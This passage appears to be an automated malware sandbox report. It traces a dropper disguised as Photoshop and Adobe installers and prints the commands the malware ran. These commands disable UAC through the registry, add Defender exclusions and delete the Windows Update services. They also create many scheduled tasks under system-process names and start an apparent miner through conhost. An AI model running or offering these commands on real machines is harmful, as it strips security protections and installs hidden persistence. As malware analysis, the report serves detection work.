PID 4976 wrote to memory of 948	4976	Photoshop.exe	84
PID 4976 wrote to memory of 948	4976	Photoshop.exe	84
PID 4976 wrote to memory of 948	4976	Photoshop.exe	84
PID 4976 wrote to memory of 312	4976	Photoshop.exe	85
PID 4976 wrote to memory of 312	4976	Photoshop.exe	85
PID 4976 wrote to memory of 312	4976	Photoshop.exe	85
PID 5032 wrote to memory of 2636	5032	adobe.exe	86
PID 5032 wrote to memory of 2636	5032	adobe.exe	86
PID 948 wrote to memory of 3404	948	WScript.exe	89
PID 948 wrote to memory of 3404	948	WScript.exe	89
PID 948 wrote to memory of 3404	948	WScript.exe	89
PID 3404 wrote to memory of 2408	3404	cmd.exe	91
PID 3404 wrote to memory of 2408	3404	cmd.exe	91
PID 5032 wrote to memory of 2356	5032	adobe.exe	92
PID 5032 wrote to memory of 2356	5032	adobe.exe	92
PID 5032 wrote to memory of 564	5032	adobe.exe	93
PID 5032 wrote to memory of 564	5032	adobe.exe	93
PID 5032 wrote to memory of 5068	5032	adobe.exe	95
PID 5032 wrote to memory of 5068	5032	adobe.exe	95
PID 2356 wrote to memory of 4908	2356	cmd.exe	98
PID 2356 wrote to memory of 4908	2356	cmd.exe	98
PID 2356 wrote to memory of 2152	2356	cmd.exe	99
PID 2356 wrote to memory of 2152	2356	cmd.exe	99
PID 564 wrote to memory of 4844	564	cmd.exe	100
PID 564 wrote to memory of 4844	564	cmd.exe	100
PID 564 wrote to memory of 384	564	cmd.exe	102
PID 564 wrote to memory of 384	564	cmd.exe	102
PID 2356 wrote to memory of 3868	2356	cmd.exe	101
PID 2356 wrote to memory of 3868	2356	cmd.exe	101
PID 2356 wrote to memory of 696	2356	cmd.exe	103
PID 2356 wrote to memory of 696	2356	cmd.exe	103
PID 564 wrote to memory of 4968	564	cmd.exe	104
PID 564 wrote to memory of 4968	564	cmd.exe	104
PID 2356 wrote to memory of 60	2356	cmd.exe	106
PID 2356 wrote to memory of 60	2356	cmd.exe	106
PID 564 wrote to memory of 4036	564	cmd.exe	105
PID 564 wrote to memory of 4036	564	cmd.exe	105
PID 2356 wrote to memory of 1576	2356	cmd.exe	107
PID 2356 wrote to memory of 1576	2356	cmd.exe	107
PID 2356 wrote to memory of 4288	2356	cmd.exe	108
PID 2356 wrote to memory of 4288	2356	cmd.exe	108
PID 2356 wrote to memory of 3204	2356	cmd.exe	109
PID 2356 wrote to memory of 3204	2356	cmd.exe	109
PID 2356 wrote to memory of 3100	2356	cmd.exe	110
PID 2356 wrote to memory of 3100	2356	cmd.exe	110
PID 2356 wrote to memory of 3540	2356	cmd.exe	111
PID 2356 wrote to memory of 3540	2356	cmd.exe	111
PID 5032 wrote to memory of 4960	5032	adobe.exe	113
PID 5032 wrote to memory of 4960	5032	adobe.exe	113
PID 4960 wrote to memory of 3736	4960	powershell.exe	121
PID 4960 wrote to memory of 3736	4960	powershell.exe	121
PID 2408 wrote to memory of 1732	2408	BridgeServerweb.exe	173
PID 2408 wrote to memory of 1732	2408	BridgeServerweb.exe	173
PID 4316 wrote to memory of 8	4316	updater.exe	174
PID 4316 wrote to memory of 8	4316	updater.exe	174
PID 4316 wrote to memory of 1884	4316	updater.exe	180
PID 4316 wrote to memory of 1884	4316	updater.exe	180
PID 4316 wrote to memory of 2692	4316	updater.exe	179
PID 4316 wrote to memory of 2692	4316	updater.exe	179

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Registry.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	Registry.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BridgeServerweb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	BridgeServerweb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	BridgeServerweb.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Registry.exe

C:\Users\Admin\AppData\Local\Temp\112487b13ebcb89ab5c481bbd53bff21.exe
"C:\Users\Admin\AppData\Local\Temp\112487b13ebcb89ab5c481bbd53bff21.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Users\Admin\AppData\Local\Temp\Photoshop.exe
  "C:\Users\Admin\AppData\Local\Temp\Photoshop.exe"
  2⤵
  - Executes dropped EXE
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\BridgeReviewMonitorsvc\XKLFqN366pCaPkEm.vbe"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\BridgeReviewMonitorsvc\T4Erapm.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3404
    - - C:\BridgeReviewMonitorsvc\BridgeServerweb.exe
        
        "C:\BridgeReviewMonitorsvc\BridgeServerweb.exe"
        5⤵
        UAC bypass
        Executes dropped EXE
        Checks computer location settings
        Checks whether UAC is enabled
        Drops file in Program Files directory
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        System policy modification
        
        PID:2408
      - C:\Windows\DigitalLocker\en-US\Registry.exe
        
        "C:\Windows\DigitalLocker\en-US\Registry.exe"
        6⤵
        UAC bypass
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious behavior: EnumeratesProcesses
        System policy modification
        
        PID:1732
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\BridgeReviewMonitorsvc\file.vbs"
    3⤵
    PID:312
- C:\Users\Admin\AppData\Local\Temp\adobe.exe
  "C:\Users\Admin\AppData\Local\Temp\adobe.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:5032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2636
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4908
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:2152
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:3868
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:696
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:60
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:1576
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:4288
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      Modifies security service
      PID:3204
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:3100
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:3540
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:564
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4844
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:384
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4968
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#iiwtrimfy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell <#wdhdfs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4960
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
      4⤵
      PID:3736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\BridgeReviewMonitorsvc\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 6 /tr "'C:\BridgeReviewMonitorsvc\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 7 /tr "'C:\BridgeReviewMonitorsvc\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2404

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\odt\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\odt\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1424

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\odt\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 6 /tr "'C:\Windows\DigitalLocker\en-US\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4504

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\Windows\DigitalLocker\en-US\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4696

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 10 /tr "'C:\Windows\DigitalLocker\en-US\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:432

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:8
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell <#iiwtrimfy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:424
- C:\Windows\system32\cmd.exe
  cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2692
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4420
- - C:\Windows\system32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2260
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2224
- - C:\Windows\system32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2816
- C:\Windows\system32\cmd.exe
  cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:1884
- - C:\Windows\system32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:612
- - C:\Windows\system32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2636
- - C:\Windows\system32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5032
- - C:\Windows\system32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1108
- - C:\Windows\system32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:1632
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4364
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3312
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:4504
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4644
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4696
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe cskxivfxlyl
  2⤵
  PID:3120
- - C:\Windows\system32\cmd.exe
    cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
    3⤵
    - Drops file in Program Files directory
    PID:4044
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic PATH Win32_VideoController GET Name, VideoProcessor
      4⤵
      PID:3972
- C:\Windows\system32\cmd.exe
  cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2040
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe uxfikxnwubqvnyna 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPpZDYkQjcS/S/TS19hCmaZeCy+01P2AmTIEFbziBAZsPWBocAgwuZDMn5XAK45AFi4pJcj1WuyZ427M+ucF6qVLXvah142XjTqxmYAz+bQw4iBC9U4v4IxzJuRNaB1lkE9ErZufa8FW+tA/frS/2SlcPE5IoKtgwn9fX0bXyEkvgSsdt91svCCE/JdmkW5JaQOlt+crfVuqclmDAo4NynGU34/IWsYMB2TxbD7xQpNGTOgtOtko+IvB3Y3We40zU5bgt6of6M/aa8gtRuJagsbLlmlMh7l/rRfteVeV1XEpz2ldmW8iLuUZAv81mYBhSHnuCLmgoLvtC6omOtF+tg4PPwUXIO6z7QFQK4SPkFuffEuWvhCeDLr4+vaHye/JP7HYRgmGkKz9nmm8IiED+N3gOFXME1xgiw/9JU+cyQ3PDB3ywlxCVyfJf0RZ9YX3VvKx2nHE6R56Ek557cR55OqD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 9 /tr "'C:\odt\Registry.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Registry" /sc ONLOGON /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:828

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RegistryR" /sc MINUTE /mo 12 /tr "'C:\odt\Registry.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Windows\Globalization\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Windows\Globalization\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 6 /tr "'C:\Windows\Globalization\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2520

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Program Files\7-Zip\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files\7-Zip\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Program Files\7-Zip\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 5 /tr "'C:\BridgeReviewMonitorsvc\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\BridgeReviewMonitorsvc\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 9 /tr "'C:\BridgeReviewMonitorsvc\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4980

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\BridgeReviewMonitorsvc\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4124

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\BridgeReviewMonitorsvc\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 12 /tr "'C:\BridgeReviewMonitorsvc\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\es-ES\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:64

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Media Player\es-ES\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Media Player\es-ES\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1876

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 5 /tr "'C:\odt\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\odt\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\odt\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\odt\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\odt\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3492

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\BridgeReviewMonitorsvc\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3672

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\BridgeReviewMonitorsvc\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\BridgeReviewMonitorsvc\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3880

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\Default User\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2376

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Users\Default User\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 5 /tr "'C:\Program Files (x86)\Google\Policies\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1736

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Google\Policies\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Google\Policies\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Program Files\Google\Chrome\Application\89.0.4389.114\services.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1360

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\Google\Chrome\Application\89.0.4389.114\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "servicess" /sc MINUTE /mo 13 /tr "'C:\Program Files\Google\Chrome\Application\89.0.4389.114\services.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:312

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 9 /tr "'C:\Windows\assembly\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2984

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Windows\assembly\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2316

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 11 /tr "'C:\Windows\assembly\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3644

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2352

C:\Windows\system32\schtasks.exe
